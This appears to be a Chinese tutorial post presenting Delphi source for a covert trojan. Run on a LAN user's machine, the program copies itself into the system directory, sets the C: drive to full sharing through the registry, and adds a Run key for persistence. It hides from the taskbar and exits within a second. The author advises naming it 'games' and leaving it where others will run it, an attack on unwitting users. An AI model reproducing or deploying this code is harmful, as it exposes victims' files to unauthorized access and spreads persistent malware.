为什么我的C盘每次启动后都是完全共享？看看以下这个程序就明白了，噢，索叻是叻：）
    此程序当网络上其他用户执行后，会自己复制一份到该用户Windows的system目录下，,并修改该机的注册表，使该机的C盘自动改为完全共享，且每次启动机子后都会重新修改注册表，当然，为了不让别人看出执行的程序，该程序执行时不会在任务栏显示，本身也不回显，执行一秒钟后程序自动退出，不易被发觉。
来看源程序吧，该程序在Delphi5.0中通过：
    首先将mainform的BorderStyle属性设为bsNone，由于要修改注册表及复制文件，再在uses中加入 Registry,shellapi;
    大家注意程序中的注释：

procedure Tmainform.FormShow(Sender: TObject);
var
  MyReg:TRegistry;
  mysyspath:Pchar;
  F:TShFileOpStruct;
  file_To,file_From:string;
begin
  //得到用户机系统目录
  GetMem(MySysPath,255);
  GetSystemDirectory(MySysPath,255);
  //文件名 file_To:=mysyspath+''\Sysdef.exe'';
  //复制目标文件名 file_From:=application.ExeName;
  //复制源文件名
  //以下为注册表修改
  MyReg:=TRegistry.Create;
  MyReg.RootKey :=HKEY_LOCAL_MACHINE;
  try
    if not MyReg.OpenKey (''\SOFTWARE\Microsoft\Windows\CurrentVersion\Network\LanMan\C'',True) then ;
      //指定子键能否打开，如不能则创建它，该子键包含硬盘共享参数
      if filesearch(''wz.txt'',MySysPath)='''' then
      //搜索有否wz.txt文件，有则不执行，该判断用于自己的机子，防止自己被黑，因而在自己的系统目录下建立此文件，则不会被修改
      begin
        MyReg.WriteInteger(''Flags'',258);//共享为完全共享
        MyReg.WriteInteger(''Type'',0);
        MyReg.WriteString(''Path'',''C:\'');
        MyReg.WriteString(''Remark'',''随便你想写什么'');
        MyReg.CloseKey;
      end;
    if not MyReg.OpenKey (''\SOFTWARE\Microsoft\Windows\CurrentVersion\Run'',True) then ;
    begin
      MyReg.WriteString(''Sysdef'',file_To);//将程序加载到启动中，每次开机自动执行
    end;
  finally
    MyReg.Free;//释放注册表资源
  end;
  //以下为拷贝文件
  with F do
  begin
    wnd:=application.Handle;
    pFrom:=pchar(file_From);
    pTo:=pchar(file_To);
    if FileSearch(''sysdef.exe'',mysyspath)='''' then
    wFunc:=FO_COPY;//文件是否存在，不存在则复制
    fFlags:=FOF_SILENT;//不显示Copy动画
  end;
  if ShFileOperation(F)<>0 then ; //此处为文件COPY失败的操作，此程序里为空操作
    timer1.Enabled :=true;
end;

procedure Tmainform.FormCreate(Sender: TObject);
begin
  //Form不可见
  Application.ShowMainForm:=false;
  //程序不出现在任务栏
  SetWindowLong(Application.Handle,GWL_EXSTYLE,WS_EX_TOOLWINDOW);
end;

procedure Tmainform.Timer1Timer(Sender: TObject);
begin
  //一秒钟后程序退出
  close;
  application.Terminate;
end;


    程序完成后，将之放于显眼的地方，只要网络上的其他机子执行此程序后便会被修改，它的C盘可是赤裸裸的展现在你面前哟。 好了，小小程序，献丑了！ （另注： 编译好的程序名为games，将之拷入根目录下可以很好的运行，但是有可能出错，将之拷入某盘任意目录下即可正常运行。经过我的试验，改为不同的文件名，需要的环境就不一样。我也有点纳闷，有可能是程序或者Windows的Bug。例如： c:\games.exe运行出错，拷到c:\dd\games.exe则不会出错，还希望高手指点：）